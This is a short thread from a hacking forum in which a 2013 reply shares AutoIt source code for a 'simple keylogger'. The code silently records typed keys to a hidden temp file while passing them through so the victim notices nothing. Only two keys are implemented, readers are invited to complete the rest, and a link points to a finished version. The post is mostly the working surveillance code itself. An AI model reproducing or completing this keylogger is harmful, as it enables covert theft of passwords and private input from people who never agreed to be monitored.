Sinisterly
Simple Keylogger Function - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: Simple Keylogger Function (/Thread-Simple-Keylogger-Function)

Pages: 1 2


RE: Simple Keylogger Function - 0xdefea7 - 07-13-2013

Long winded method, but has some advantages. There are no hooks and CPU usage is really low. It is a fairly accurate method as well. I only wrote for a and b to show as an example, you'll have to fill in the blanks.

Code:
$hFile = FileOpen(@TempDir & "\fdas.dat", 1) HotKeySet("a", "a") HotKeySet("b", "b") Func a() HotKeySet("a") Send("a") FileWrite($hFile, "a") HotKeySet("a", "a") EndFunc Func b() HotKeySet("b") Send("b") FileWrite($hFile, "b") HotKeySet("b", "b") EndFunc While 1 Sleep(250) WEnd

I did not see this post before posting here: http://www.hackcommunity.com/Thread-Simple-Keylogger-HotKeySet-function

That one is complete.